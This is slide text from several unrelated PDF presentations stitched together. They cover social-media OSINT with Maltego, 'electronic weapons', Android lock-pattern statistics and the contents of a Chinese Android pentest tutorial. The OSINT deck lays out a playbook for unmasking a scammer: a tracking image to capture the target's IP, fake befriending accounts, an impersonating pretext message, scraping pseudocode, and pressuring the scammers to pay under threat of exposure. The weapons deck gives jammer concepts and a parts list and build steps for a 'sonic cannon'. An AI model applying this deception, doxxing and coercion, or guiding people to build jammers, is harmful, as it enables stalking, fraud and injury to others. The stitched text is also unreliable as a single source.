Twitter’ll fix it
35
@l0sthighway
Tuesday, 3 August 2010
Twitter’ll fix it
35
@l0sthighway
Tuesday, 3 August 2010
Hypothesis
36
=
=
+
Tuesday, 3 August 2010
List the Hiders
37
Tuesday, 3 August 2010
Derive @HidingIt
38
@HidingIt
Tuesday, 3 August 2010
To Tweets [Search Twitter]
39
Tuesday, 3 August 2010
Tweets
40
Tuesday, 3 August 2010
To Twiiter Affiliation [Convert]
41
Tuesday, 3 August 2010
42
Tuesday, 3 August 2010
To friends of this person
43
Tuesday, 3 August 2010
44
Tuesday, 3 August 2010
“Suggy”
45
Tuesday, 3 August 2010
To Tweets [That this person wrote]
46
Tuesday, 3 August 2010
47
Tuesday, 3 August 2010
Twitter Search Limitations
48
Tuesday, 3 August 2010
Local Transforms
If you can call script/program
and pass input… AND
If you can get your output to
STDOUT, THEN
you can write a local transform
49
Tuesday, 3 August 2010
50
Tuesday, 3 August 2010
3 x API’s
• 2 x REST
• 1 x Streaming
• PERL & ::LWP e.g. from latest tweet
$url = "http://twitter.com/statuses/
user_timeline.xml?count=200&id=" .
$entityValue2;
51
Tuesday, 3 August 2010
Gotcha’s
• 200 tweet limit
• Couldn’t search by date
• Max history of 3200 tweets
• 150 API calls an hour
• 100 people * 3 api calls each = 300
52
Tuesday, 3 August 2010
Whitelisting
• 150 versus 20,000 per hour
53
Tuesday, 3 August 2010
54
21 September 2009
Find the winners
Tuesday, 3 August 2010
55
Tuesday, 3 August 2010
List of all @mentionee’s
56
Tuesday, 3 August 2010
57
x3
Tony’s @ mentionee’s (potential finders….)
Found ATL by @blahblahblah
Tuesday, 3 August 2010
58
Repeat for each of Tony’s mentionee’s
Tuesday, 3 August 2010
59
Tuesday, 3 August 2010
60
Big graph
Tuesday, 3 August 2010
61
FAIL
Tuesday, 3 August 2010
A bit less messy
62
Tuesday, 3 August 2010
Centrality layout
63
Tony Hawk
HidingIt
People Tony mentioned who tweeted
with followers of @HidingIt... & vice-
versa
Tuesday, 3 August 2010
Organic
64
Tuesday, 3 August 2010
Organic
64
Tony
HidingIt
Me
Steven
Tuesday, 3 August 2010
Edge Weighted
65
Tony Hawk
Hiding It
Jerome Case
Tuesday, 3 August 2010
So what? What on earth have I
been going on about?
66
Jerome Case
Steven_Gill
Suggy
Tuesday, 3 August 2010
@sweetjerome & @tonyhawk
67
Tuesday, 3 August 2010
Lessons learned #1
• Plan
68
Tuesday, 3 August 2010
Lessons learned #2
• Speed/Accuracy bar set to left until you know it works
• If you ever think, “that’s weird. Not many results”, it’s
probably because your Speed/Accuracy bar isn’t over to
the right.
69
Tuesday, 3 August 2010
Lessons learned #3
70
Tuesday, 3 August 2010
Lessons learned #3
• Local transforms open up a world of opportunity
70
Tuesday, 3 August 2010
Lessons learned #3
• Local transforms open up a world of opportunity
• Enterprise? Consider the server platform.
70
Tuesday, 3 August 2010
Lessons learned #3
• Local transforms open up a world of opportunity
• Enterprise? Consider the server platform.
• If you’re going to leverage Twitter API heavily, you should
really consider making a whitelisting request
70
Tuesday, 3 August 2010
71
21 September 2009
The Mission
Tuesday, 3 August 2010
72
“Just Landed:
Processing, Twitter, MetaCarta & Hidden Data”
Jer Thorp, using processing
Tuesday, 3 August 2010
Graphs for DEC.org.uk
73
……Check out RowFeeder.com
Tuesday, 3 August 2010
74
Tuesday, 3 August 2010
74
Tuesday, 3 August 2010
74
I go
chop your dollar...
Tuesday, 3 August 2010
Disclaimer
“The only way you can tell the truth is
through fiction”
Via Richard Thieme/his friend at NSA
“Events, Names, dates, images etc all
changed to protect the innocent and
the not so innocent”
75
Tuesday, 3 August 2010
Meet “Jess”
76
Tuesday, 3 August 2010
Meet “Jess”
76
• Laptop on auction site
Tuesday, 3 August 2010
Meet “Jess”
76
• Laptop on auction site
• Gets bought quickly at “Buy now price”
Tuesday, 3 August 2010
Meet “Jess”
76
• Laptop on auction site
• Gets bought quickly at “Buy now price”
• Jess exchanges emails with the buyer
Tuesday, 3 August 2010
Meet “Jess”
76
• Laptop on auction site
• Gets bought quickly at “Buy now price”
• Jess exchanges emails with the buyer
• Notification from “paypal”
Tuesday, 3 August 2010
Meet “Jess”
76
• Laptop on auction site
• Gets bought quickly at “Buy now price”
• Jess exchanges emails with the buyer
• Notification from “paypal”
• Jess sends laptop to valid address in
UK
Tuesday, 3 August 2010
Meet “Jess”
76
• Laptop on auction site
• Gets bought quickly at “Buy now price”
• Jess exchanges emails with the buyer
• Notification from “paypal”
• Jess sends laptop to valid address in
UK
• Notice from auction site that buy
account had been hacked
Tuesday, 3 August 2010
Meet “Jess”
76
• Laptop on auction site
• Gets bought quickly at “Buy now price”
• Jess exchanges emails with the buyer
• Notification from “paypal”
• Jess sends laptop to valid address in
UK
• Notice from auction site that buy
account had been hacked
• Jess contacts police
Tuesday, 3 August 2010
Hypothesis
77
=
=
+
Tuesday, 3 August 2010
Step #1 Where is our scammer?
78
Tuesday, 3 August 2010
Step #1 Where is our scammer?
• Need to get email header, but he/she uses
webmail……
78
Tuesday, 3 August 2010
Step #1 Where is our scammer?
• Need to get email header, but he/she uses
webmail……
• …. So sign up for a blog site like webs.com
that also provides logs.
78
Tuesday, 3 August 2010
Step #1 Where is our scammer?
• Need to get email header, but he/she uses
webmail……
• …. So sign up for a blog site like webs.com
that also provides logs.
• Send spammer an email message with
embedded image.
78
Tuesday, 3 August 2010
Step #1 Where is our scammer?
• Need to get email header, but he/she uses
webmail……
• …. So sign up for a blog site like webs.com
that also provides logs.
• Send spammer an email message with
embedded image.
• Wait
78
Tuesday, 3 August 2010
webs.com visitor logs
79
Tuesday, 3 August 2010
webs.com visitor logs
79
See…
Jeremiah
Grossman’s
talk
Tuesday, 3 August 2010
80
Tuesday, 3 August 2010
Step #2 where did package really go?
81
Alice
Lagos
[email protected]
AKA : Larry The Cable Guy
Newcastle
Tuesday, 3 August 2010
Step #2 where did package really go?
81
NS
Alice
Lagos
[email protected]
AKA : Larry The Cable Guy
Newcastle
Tuesday, 3 August 2010
82
192.COM
Tuesday, 3 August 2010
82
192.COM
FAIL
Tuesday, 3 August 2010
83
21 September 2009
Alice, Alice, who the
&$#@! is Alice?
Tuesday, 3 August 2010
Info Gathering
84
• Email addresses
• Nick names
• Friends
• Addresses
• Schools
• Pictures… lots of pictures
Tuesday, 3 August 2010
Info Gathering
84
• Email addresses
• Nick names
• Friends
• Addresses
• Schools
• Pictures… lots of pictures
Tuesday, 3 August 2010
Dominic @Singe White
85
Python
Mechanize
Beautiful Soup
They’d break Facebook ToS
so don’t use them.
...wrote some useful
facebook transforms for
Maltego
Tuesday, 3 August 2010
Step #3 Which “Alice” ?
86
Tuesday, 3 August 2010
Step #3 Which “Alice” ?
86
?
Tuesday, 3 August 2010
87
fb -> friends
Tuesday, 3 August 2010
88
fb -> location
Tuesday, 3 August 2010
88
fb -> location
Tuesday, 3 August 2010
How to get sued by Facebook
89
Tuesday, 3 August 2010
How to get sued by Facebook
• Pete Warden
89
Tuesday, 3 August 2010
How to get sued by Facebook
• Pete Warden
• Built his own search engine
89
Tuesday, 3 August 2010
How to get sued by Facebook
• Pete Warden
• Built his own search engine
• 100 machine cluster (running Hadoop) for
$10 per hour
89
Tuesday, 3 August 2010
How to get sued by Facebook
• Pete Warden
• Built his own search engine
• 100 machine cluster (running Hadoop) for
$10 per hour
• Crawled Facebook
89
Tuesday, 3 August 2010
How to get sued by Facebook
• Pete Warden
• Built his own search engine
• 100 machine cluster (running Hadoop) for
$10 per hour
• Crawled Facebook
• 220million profiles (name, location, email)
in 10 hours for $100
89
Tuesday, 3 August 2010
How to get sued by Facebook
• Pete Warden
• Built his own search engine
• 100 machine cluster (running Hadoop) for
$10 per hour
• Crawled Facebook
• 220million profiles (name, location, email)
in 10 hours for $100
• So don’t do it without asking them nicely,
even if you’re Law Enforcement
89
Tuesday, 3 August 2010
220 freakin’ million
90
Tuesday, 3 August 2010
Information Available to All
91
Tuesday, 3 August 2010
Information Available to All
• If their privacy is “Everyone”, you’re in.
91
Tuesday, 3 August 2010
Information Available to All
• If their privacy is “Everyone”, you’re in.
• If not, you can only do so much without being
a friend...sort of
91
Tuesday, 3 August 2010
Show me the good stuff
92
Tuesday, 3 August 2010
Show me the good stuff
• You could create bad apps & get people to use
them,then FQL works nicely with Maltego.
– See “Social Zombies”
92
Tuesday, 3 August 2010
Show me the good stuff
• You could create bad apps & get people to use
them,then FQL works nicely with Maltego.
– See “Social Zombies”
• You could just make friends with people and
adopt @singe’s approach
– See “Satan is on your friends list”
92
Tuesday, 3 August 2010
Show me the good stuff
• You could create bad apps & get people to use
them,then FQL works nicely with Maltego.
– See “Social Zombies”
• You could just make friends with people and
adopt @singe’s approach
– See “Satan is on your friends list”
• Or maybe you’re smart, like TheHarmonyGuy
92
Tuesday, 3 August 2010
Step #4 Making New Friends
93
Tuesday, 3 August 2010
Step #4 Making New Friends
• Create a credible account
93
Tuesday, 3 August 2010
Step #4 Making New Friends
• Create a credible account
• Build up your identity
93
Tuesday, 3 August 2010
Step #4 Making New Friends
• Create a credible account
• Build up your identity
• Don’t go directly for your target
– Join similar Groups/Universities/Schools etc
– Friends of friends
– Target
93
Tuesday, 3 August 2010
Step #4 Making New Friends
• Create a credible account
• Build up your identity
• Don’t go directly for your target
– Join similar Groups/Universities/Schools etc
– Friends of friends
– Target
• Over 1000 friends? They’re “easy”
93
Tuesday, 3 August 2010
Step #4 Making New Friends
• Create a credible account
• Build up your identity
• Don’t go directly for your target
– Join similar Groups/Universities/Schools etc
– Friends of friends
– Target
• Over 1000 friends? They’re “easy”
• Take your time
93
Tuesday, 3 August 2010
Step #4 Making New Friends
• Create a credible account
• Build up your identity
• Don’t go directly for your target
– Join similar Groups/Universities/Schools etc
– Friends of friends
– Target
• Over 1000 friends? They’re “easy”
• Take your time
• or automate it and get the nasty business over
with
93
Tuesday, 3 August 2010
Will you be my friend?
94
Tuesday, 3 August 2010
Will you be my friend?
94
Hey, do I know you?
Tuesday, 3 August 2010
Will you be my friend?
94
Hey, do I know you?
< SHIT !!! >
Tuesday, 3 August 2010
Will you be my friend?
94
Hey, do I know you?
I’m a friend of “Alice”’s, just getting
started and that. I added a few
people and might have added too
many.
< SHIT !!! >
Tuesday, 3 August 2010
Will you be my friend?
94
Hey, do I know you?
I’m a friend of “Alice”’s, just getting
started and that. I added a few
people and might have added too
many.
< SHIT !!! >
hehehe man cool, well “Alice”’s my
best friend lol
Tuesday, 3 August 2010
Step #5 Building a map of interesting
peoples
Until EOFriends {
Get friend
Get location
IF (location = Nigeria|Lagos|…) {
Scrape & Parse wall posts }
Download photos
IF (wallPosts contain “phrases”) {
Download interesting wall posts }
IF (“interesting”) {
Pipe back to Maltego}
}
95
Tuesday, 3 August 2010
To Facebook Friends
96
Tuesday, 3 August 2010
97
Tuesday, 3 August 2010
“Interesting” People
98
Tuesday, 3 August 2010
99
Tuesday, 3 August 2010
“7k in 5 days”
• Fast money
• Flashy rides
• Expensive clothes
• HOT chicks
• Luxury apartment
• “Its really easy to spot a yahoo boy in
Nigeria, their lifestyle is pretty much the
same, living the young Nigerian dream”
100
Tuesday, 3 August 2010
“I GET PAID IN POUNDS BUT I
COLLECTED IN NAIRA CASH”
101
PS3 4
SALE....UK
PAL.NEW
Tuesday, 3 August 2010
102
Tuesday, 3 August 2010
103
“Arrrrrgh!”
Tuesday, 3 August 2010
104
Tuesday, 3 August 2010
What’s the attraction?
• Avg month salary
– $4,000 USA
– ~$200 Nigeria
• Scamming pays roughly $700 to $6,000
per/month*
105
Tuesday, 3 August 2010
Call to Action
“12.4 MILLION PEOPLE RECORDED DEAD
AFTER BEING SCAMMED BY NIGERIA
SCAMMERS 2009. 919 MILLION DOLLARS
RECORD SCAMMED FOR THE YEAR 2009
BY SAME NIGERIA SCAMMERS. WE ARE
TRYING OHH THIS 2010 LETS SCAM 20
BILLION POUNDS AFTER ALL IS NOT YET
UP TO AMOUNT OF NIGERIANS TRADED
FOR SLAVERY IN 1905(start working)”
106
Tuesday, 3 August 2010
How about something a little more
nefarious?
107
21 September 2009
Tuesday, 3 August 2010
How about something a little more
nefarious?
107
21 September 2009
Tuesday, 3 August 2010
108
Tuesday, 3 August 2010
B…………………LING BLING
109
Tuesday, 3 August 2010
Gats
110
Tuesday, 3 August 2010
Links with terror?
• In 2008 and 2009 there was evidence
directly linking 419 AFF networks to
(attempted) attacks
419 Advance Fee Fraud Statistics 2009
(Ultrascan Advanced Global Investiagtions)
111
Tuesday, 3 August 2010
Step #6 The true identity of the
scammer?
112
Tuesday, 3 August 2010
Step #6 The true identity of the
scammer?
112
Hey, it’s Alice, this is my new email
address... can you help? my facebook
is weird, can you send me a wall post?
Tuesday, 3 August 2010
Step #6 The true identity of the
scammer?
112
Hey, it’s Alice, this is my new email
address... can you help? my facebook
is weird, can you send me a wall post?
Sure
Tuesday, 3 August 2010
Step #6 The true identity of the
scammer?
112
Hey, it’s Alice, this is my new email
address... can you help? my facebook
is weird, can you send me a wall post?
Sure
Thanks.. Hot Stuff
Tuesday, 3 August 2010
Step #6 The true identity of the
scammer?
112
Hey, it’s Alice, this is my new email
address... can you help? my facebook
is weird, can you send me a wall post?
Sure
Thanks.. Hot Stuff
Say hi to XXXXX
Tuesday, 3 August 2010
Step #6 The true identity of the
scammer?
112
Hey, it’s Alice, this is my new email
address... can you help? my facebook
is weird, can you send me a wall post?
Sure
Thanks.. Hot Stuff
Say hi to XXXXX
BONUS!!!!>
Tuesday, 3 August 2010
113
Tuesday, 3 August 2010
Connections
114
Alice
Tuesday, 3 August 2010
Connections
114
NS
Alice
Tuesday, 3 August 2010
Connections
114
NS
UKS
Alice
Tuesday, 3 August 2010
Scammer Networks (on record)
115
Tuesday, 3 August 2010
Scammer Networks (on record)
• 62 in UK alone
115
Tuesday, 3 August 2010
Scammer Networks (on record)
• 62 in UK alone
• Spain highest with 72
115
Tuesday, 3 August 2010
Scammer Networks (on record)
• 62 in UK alone
• Spain highest with 72
• USA have 53
115
Tuesday, 3 August 2010
Scammer Networks (on record)
• 62 in UK alone
• Spain highest with 72
• USA have 53
• 916 around the world
115
Tuesday, 3 August 2010
Scammer Networks (on record)
• 62 in UK alone
• Spain highest with 72
• USA have 53
• 916 around the world
• with 16,626 members
115
Tuesday, 3 August 2010
Scammer Networks (on record)
• 62 in UK alone
• Spain highest with 72
• USA have 53
• 916 around the world
• with 16,626 members
• Raking in $9.3 billion dollars in 2009
115
Tuesday, 3 August 2010
Step #7 Gettin paid (in full)
116
Tuesday, 3 August 2010
Step #7 Gettin paid (in full)
• The Carrot/Stick
– Compile all info into a blog post
– Create a facebook fan site
116
Tuesday, 3 August 2010
Step #7 Gettin paid (in full)
• The Carrot/Stick
– Compile all info into a blog post
– Create a facebook fan site
• Email the scammers
– Remind them that google will soon index them
116
Tuesday, 3 August 2010
Step #7 Gettin paid (in full)
• The Carrot/Stick
– Compile all info into a blog post
– Create a facebook fan site
• Email the scammers
– Remind them that google will soon index them
• Follow up with a call
116
Tuesday, 3 August 2010
Step #7 Gettin paid (in full)
• The Carrot/Stick
– Compile all info into a blog post
– Create a facebook fan site
• Email the scammers
– Remind them that google will soon index them
• Follow up with a call
• Agree amicable terms
116
Tuesday, 3 August 2010
$ mv <scammers$> <my bank>
• Cash?
• Bank?
• paypal?
• Western union?
• Amazon Gift Certificates?
117
Tuesday, 3 August 2010
HEALTH WARNING:
Messing With Criminals Can Reduce Your Life Expectancy
118
Tuesday, 3 August 2010
HEALTH WARNING:
Messing With Criminals Can Reduce Your Life Expectancy
118
To do this you are either:
Tuesday, 3 August 2010
HEALTH WARNING:
Messing With Criminals Can Reduce Your Life Expectancy
118
To do this you are either:
• Limited to public info (due to Terms of service)
Tuesday, 3 August 2010
HEALTH WARNING:
Messing With Criminals Can Reduce Your Life Expectancy
118
To do this you are either:
• Limited to public info (due to Terms of service)
• Friend up (with your own account) the other potential bad
guys and follow their links. You’d need “balls of steel” to do
this.
Tuesday, 3 August 2010
HEALTH WARNING:
Messing With Criminals Can Reduce Your Life Expectancy
118
To do this you are either:
• Limited to public info (due to Terms of service)
• Friend up (with your own account) the other potential bad
guys and follow their links. You’d need “balls of steel” to do
this.
• Work with Law Enforcement
Tuesday, 3 August 2010
HEALTH WARNING:
Messing With Criminals Can Reduce Your Life Expectancy
118
To do this you are either:
• Limited to public info (due to Terms of service)
• Friend up (with your own account) the other potential bad
guys and follow their links. You’d need “balls of steel” to do
this.
• Work with Law Enforcement
• You’d have to break ToS. Which will likely have facebook
on your back as well as the bad guys.
Tuesday, 3 August 2010
Wrappin’ up
• Mining data more accessible than ever
before
• Visualization can help you home in on
interesting relationships
119
Tuesday, 3 August 2010
Wrappin’ up
• Mining data more accessible than ever
before
• Visualization can help you home in on
interesting relationships
• NER can help classify information
119
Tuesday, 3 August 2010
Wrappin’ up
• Mining data more accessible than ever
before
• Visualization can help you home in on
interesting relationships
• NER can help classify information
• Combination of the three to speed up
pwnage
119
Tuesday, 3 August 2010
Maltego Tweeters
120
@Singe
Dominic White
@mubix
Rob Fuller
@carnal0wnage
Chris Gates
@Paterva
Tuesday, 3 August 2010
Social Network Tweeter
121
@agent0x0
Tom Eston
@theharmonyguy
Social Hacking
@SocialMediaSec
Social Media Security
@digininga
Robin Wood
Tuesday, 3 August 2010
Data Mining & Visualization
Tweeters
122
@PeteWarden
Pete Warden
@neilkod
Neil Kodner
@dacort
Damon Cortesi
@zrlram @secviz
Raffael Marty
@secviz
Raffael Marty
Tuesday, 3 August 2010
123
.com
Tuesday, 3 August 2010
124
21 September 2009
Tuesday, 3 August 2010 | pdf |
DEFCON 18
Electronic Weapons
Presented by: mage2
Warning
Mucking about with the things I am
about to talk to you about can and will
kill you and all puppies, kittens and
laptops around you. So be forewarned.
Also transmitting on frequencies you
are not licensed for can really piss off
the FCC and DHS, depending on what
trouble you cause.
Warning Part 2
This is a warning to all of those in the room
right now. I am a horrid public speaker, I
tend to talk fast and can easily get off topic.
Now you are thinking why is he up there talking...
Well I wanted to bring something to DEFCON, this is
my 10th year attending. Things like this is something
I am interested in and I want to bring my interests
to others. I want to make you ask questions.
If you have a question I hope to have a good
amount of time after the slides for Q/A, I will also be
around after the talk.
What we will cover
EMP
EFI/RFI
Lasers
Others, etc
Electronic Basic Concepts
* All conductive material can act as an antenna.
* Most electronics are sensitive to voltage spikes.
* Most communication based electronics run on relatively low
power signals. < 1W
* Atomic and Nuclear weapons are not the only sources of EMP.
* Voltage is based on the potential difference between the
source and the ground.
* Ohms law , learn it love it. V over IR squared.
* We all know computers and all digital electronics run on binary
signals.
* This is represented as a square wave between 0v/GND and
either 3.3v or 5v
* There is a threshold of what the hardware expects to see as a
high or a low.
* When using transformers , you will trade current for voltage.
* RF power diminishes over distance, closer = better.
What are we working with
RFI/EMI
Using RFI/EMI as an attack is usually a DOS
type of an attack. You will be creating a signal
that is stronger than your target's signal. Your
signal can be anything or just noise. These
can be one of the easiest tools to aquire/build.
RFI/EMI cont.
Here are a few of the devices that can be used
for this type of attack.
●Spark Gap transmitter.
●Other “off the shelf” transmitters.
●Homebrew transmitters.
Spark Gap Transmitter
●The spark gap transmitter was the first device
used to transmit data over the air.
●It is a wide band transmitter.
●Simple to build. With components easily
sourced.
●Easily designed to output high powers.
●Dangerous at any power level.
●Electrical arc's produce UV light, exposure can
cause “sunburn” and damage your eyes.
Spark Gap Transmitter
This is a simple spark gap transmitter
design.
It uses few parts, the components will
need to be rated for the voltage levels.
Off the shelf transmitters
I thought about listing sources of
transmitters sold off the shelf that
could be used as “jammers” but
decided not to out anyone.
Any HAM radio can be used,
There are plenty of places on the net
where you can purchase “jammers”.
All of this violates FCC regulations and
can cause you legal problems.
Home Brew transmitters
Here is an example
Transmitters other than Spark Gap
Transmitters can wildly vary in difficulty.
EMP
An EMP is a electromagnetic wave with
enough power that it can create over-
voltage situations in wires and traces
on circuit boards. This is because the
magnetic field from the EMP induces a
voltage on the wires/traces this can be
100s or even thousands of volts.
What can make a EMP?
Creating Long range EMP is a difficult task. All require
either the power grid of a small city or involve
explosives.
Any atomic or nuclear weapon will create an EMP.
EMP was first predicted by a guy named Enrico Fermi
during the first nuclear test in 1945.
There are reports of a non-nuclear EMP weapon in
testing/use by the US military during the Iraq wars.
One type of non-nuclear EMP weapons is called
“explosively pumped flux compression generator”.
Another option is to use a large low-inductance capacitor
bank discharged into a single loop antenna.
Why do we care?
RFI/EMI could be utilized to disable
anything from GPS to radio
communications. Even low power EMP
could disable a city block to a city and
could damage the infrastructure we all
depend on.
How would you feel without your
latest and greatest smartphone or
other tech you rely on?
Protection from RFI
There are a few ways to protect
yourself/your signal from RFI.
●Using spread spectrum/frequency hopping
would make “jamming” your signal much
harder.
●For data the better your error correction
the better your chances of pulling your
signal out of the noise.
●Good shielding of the RF components in the
transmitter would also help.
Protection from EMP
Shielding in the form of Faraday cages,
and using well shielded and grounded
chassis.
Distance from whatever is creating the
EMP is your safest bet.
Projectile Based
There are a few devices of electronic
origin that fire projectiles as a firearm
does.
These are:
Coil/Gauss gun
Rail gun
Coil/Gauss and Rail guns
The coil/gauss gun
fire using a energized
wire coil as a
electromagnet to pull
the projectile down
the barrel. The
projectile must be
ferrous (magnetic).
The more advanced
gauss guns use many
stages of coils fired
in sequence to
accelerate the
projectile.
Rail guns use
magnetic fields to
push a projectile
down the rails. They
are very power
hungry.
All of these devices
are power hungry.
They require
specialized design
and components
Lasers
Weaponized lasers are coming of age. There are more
military platforms using lasers for defense than an
other non traditional weapons.
I think everyone here knows how lasers work, so this
is just to point out what we have made public.
The most powerful military laser that has been made
public is the MIRACL laser that is currently based out
of White Sands missile range in New Mexico. (anyone
up for a road trip?)
Just looking around I found about a dozen different
projects using “directed energy” weapons for both
offensive and defensive roles.
For you that have survived thus far.
Now as you have all noticed, electronic
weapons are all power hungry
bastards. How does one feed them?
The parts that make them
Here are the parts that you will want
to understand. And this will help
clarify the schematics you will see next
Resistors
Resistors resist the flow of energy and
convert the waste energy into heat.
They are used to limit the current or
voltage in a circuit. The are rated in
Ohms or Ω.
Here is the electronic symbol
Coils
Coils are are also called inductors,
they work by storing energy in the
form of a magnetic field.
They are rated in henries. Usually mH.
These are pretty easy to make for the
home experimenter
Here is the electronic symbol
Capacitors
Capacitors store energy between two
conductive plates separated by a
dielectric material. They are measured
in Farads, and come in a few flavors.
These are also somewhat easy to make
at home even for high voltages.
Here is the electronic symbol
Diode
Diodes allow current to flow in only
one direction. They also come in many
flavors. They are used most often to
rectify an A/C voltage and create a DC
voltage.
Here is one of the the electronic
symbols
Transistors
Transistors are at the most basic
electronic switches. They are used in
amplifiers of all kinds.
Here is one of the the electronic
symbols
MOSFET
MOSFET are similar to transistors but
are designed to handle much more
power than transistors.
Here is one of the the electronic
symbols
HV Transformers
All transformers are based on the same
principle. You feed one side of a pair of coils
a A/C voltage, it creates a alternating
magnetic field thus inducing a voltage in its
partner coil. The increase in voltage is based
on the number of turns in the coil. For
instance a 1:1000 would increase 10V A/C to
10000V A/C
The most common transformers we are
interested in are neon sign transformers, fly
back transformers, ignition coils, and
microwave oven transformers. They each
have a ratio of at least 1:200.
There are many more parts
There is no way I could cover all the
possible components .
Power Supplies
The next part we are going to cover
some of the common power supplies
used with these devices.
Marx Generator
A Marx Generator is
use to change a low
voltage source to a
high voltage pulse.
The construction is
caps that are charged
in parallel to a given
voltage. Once charged
the caps are
discharged in series
multiplying the V * N
the number of caps.
example: 10 caps @
120 v would be 1200
V output.
Voltage Multipliers
This power supply is similar to a Marx
Generator
This converts a lower AC voltage to a
high DC voltage.
Humans as Targets
The last part of this talk is about the
new wave of using our tech on us.
These are some of the newer “less
than lethal” weapons that are just
starting to be used on the public.
Less than lethal?
The term “non lethal” was initially
used on things like stun
guns,beanbag,tear gas, and CS based
weapons. That is until they started
having fatalities.
“Heat Rays”
These use high frequency microwaves to
produce a heat/burning sensation on
exposed skin. It is deemed safe because the
waves do not penetrate far into the skin. It
is currently truck mounted but there is work
on a more mobile option. This is named the
ADC (Active Denial System)
Sea Sickness Flashlight AKA
Dazzler
This uses a extremely bright light with
a random flashing pattern. It was
created to cause nausea and
disorientation or temp blindness. I
think it could also possibly cause
seizure in those that are predisposed
to that.
It was created by a DOD contractor
and was recreated by Lady Ada.
Sonic Cannon(LRAD)
These devices are designed for crowd control,
they utilize sound at high db levels (160db), they
seem to mostly use either very high or very low
frequencies. Low frequencies at high levels are
known to cause nausea and vision problems. High
frequency will cause headaches and loss of focus.
Not to mention your ear drums.150db is the
point where most people feel pain.
Sonic Cannon pt2
Here is the schematic for
a “sonic cannon” I have
used in the past. It is a
555 timer in astable
mode. I have included a
variable resistor so that
you can modify the
frequency on the fly. I
have found that tuning
the design for the range
just out side your hearing
will cause amusing
results. Tie the output pin
(3) to a speaker.
R1: 1k
R2: 100,00K
Potentiometer
C1: 0.01uF
Sound Cannon Build
I have made a home brew version of the sound
cannon.
List of parts:
IC1: 555 timer
R1: 100k variable resistor
R2: 470 ohm resistor
C1: 0.01 uF cap
C2: 1000 uF cap
C3: 0.001 uF cap
Speakers
Breadboard
Misc wire.
Power
Sound Cannon build PT 2 Tips
I would suggest first prototyping the circuit on a
solderless breadboard to get it working as you
want. When working on the final build make sure
to use a IC socket.
Sound Cannon Build
Build the circuit as shown in schematic. C2 is a
DC filtering cap that should be put between the
output wire and ground. . The resistor values I
used should give you a good range of output
frequencies in the mostly audible range.
Sonic Cannon Done
Now you have one hell of a noise maker.
Thanks
My thanks go to those that helped with
this.
Wikipedia
Randall with XKCD
Lady Adafruit
Questions and Answers
Here is where you ask me questions
and I make up some answers. | pdf |
Tell me who you are
and I will tell you
your lock pattern
Marte Løge
23 years, Norway
MSc. Computer Science @NUTS
Developer @Itera
Humans are…
…predictable!
How Many
Combinations does
the Android Lock
Pattern Have?
389,112
Length
#Combina/ons
4
1624
5
7152
6
26,016
7
72,912
8
140,704
9
140,704
Total
389,112
The Survey
Visual Complexity
Complexity:
[6.3, 46.8]
27.0
46.8
6.34
20.78
All patterns:
13.6
Smartphones:
12.8
Highest score:
44.4
Max score:
46.8
Associations
Elements
Start node
Handedness
Right-handed
(1)
(2)
Left-handed
(1)
(2)
3-gram
Sequences
Average Pattern Length
Women
Men
?
Questions?
Marte Løge
@marteloge
[email protected] | pdf |
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
Android 渗透测试入门教程
(内部资料)
大学霸
www.daxueba.net
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
前 言
Kali Linux 是业内最知名的安全渗透测试专用操作系统。它的前身就是业界知名的 BackTrack 操作
系统。BackTrack 在 2013 年停止更新,转为 Kali Linux。Kali Linux 集成了海量渗透测试、网络扫描、
攻击等专用工具。通过系统更新,用户可以快速获取最新的各类工具。所以,Kali Linux 是专业人员的
不二选择。
目前,Android 系统应用非常广泛,主要应用在一些可移动设备上,如智能手机、平板、电视、数
码相机、游戏机等。这些设备被广泛地应用在人们工作和生活中。在这些设备中,往往保存大量的、敏
感的个人信息和商业信息。由于 Android 设备具备一些严重的安全隐患,如基于无线网络通信,更容易
被物理接触,安全措施滞后等。所以,很多黑客选择对该类设备实施攻击。
为了满足用户的需要,本教程针对 Android 设备存在的各种问题,介绍了相应的实施渗透测试方法。
如 Android 设备传输的数据、使用的数据库(SQLite)、程序包的源代码、系统或应用程序中的数据等
问题。通过对 Android 设备实施渗透,可以评估该系统的安全。
1.学习所需的系统和软件
安装 Kali Linux 操作系统
Android SDK 管理器
2.学习建议
大家学习之前,可以致信到 xxxxxxx,获取相关的资料和软件。如果大家在学习过程遇到问题,也
可以将问题发送到该邮箱。我们尽可能给大家解决。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
目 录
第 1 章 Android 渗透测试 ......................................................................................................................... 1
1.1 Android 系统概述 ........................................................................................................................ 1
1.2 什么是渗透测试 .......................................................................................................................... 1
1.2.1 渗透测试工作流程 ........................................................................................................... 1
1.2.2 渗透测试类型 ................................................................................................................... 2
1.2.3 法律边界 ........................................................................................................................... 3
1.3 安装 Kali Linux ............................................................................................................................ 3
1.3.1 在硬盘上安装 Kali Linux ................................................................................................. 4
1.3.2 在虚拟机上安装 Kali Linux ........................................................................................... 14
1.3.3 安装 VMware Tools ........................................................................................................ 20
1.4 Kali Linux 安装后简单设置 ...................................................................................................... 21
1.4.1 配置软件源 ..................................................................................................................... 21
1.4.2 安装中文输入法 ............................................................................................................. 22
1.4.3 设置 VPN 代理 ............................................................................................................... 23
1.5 ADB 工具的安装及配置 ........................................................................................................... 25
1.5.1 安装 ADB 工具 ............................................................................................................... 26
1.5.2 修改用户的环境变量 ..................................................................................................... 31
1.6 ADB 工具的使用 ....................................................................................................................... 33
1.6.1 启动和停止 ADB 服务 ................................................................................................... 33
1.6.2 查看 Android 设备 .......................................................................................................... 33
1.6.3 安装应用程序 ................................................................................................................. 34
1.6.4 卸载应用 ......................................................................................................................... 35
1.6.5 进入设备或者模拟器的 Shell ........................................................................................ 36
1.6.6 上传文件到设备 ............................................................................................................. 37
1.6.7 从设备上下载文件 ......................................................................................................... 38
第 2 章 反编译和审计 Android 应用程序 .............................................................................................. 39
2.1 反编译一个 Android 应用程序 ................................................................................................. 39
2.1.1 查看 Android 应用程序包内容 ...................................................................................... 39
2.2.2 使用 Dex2jar 工具 .......................................................................................................... 41
2.2.3 使用 Apktool 工具 .......................................................................................................... 42
2.2.4 使用 JD-GUI 工具 .......................................................................................................... 44
2.2 审计 Android 应用程序 ............................................................................................................. 46
2.2.1 安装 Drozer 工具 ............................................................................................................ 47
2.2.2 启动 Drozer 工具 ............................................................................................................ 48
2.2.3 Drozer 命令 ..................................................................................................................... 50
2.2.4 Content provider 组件泄露 ............................................................................................. 50
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
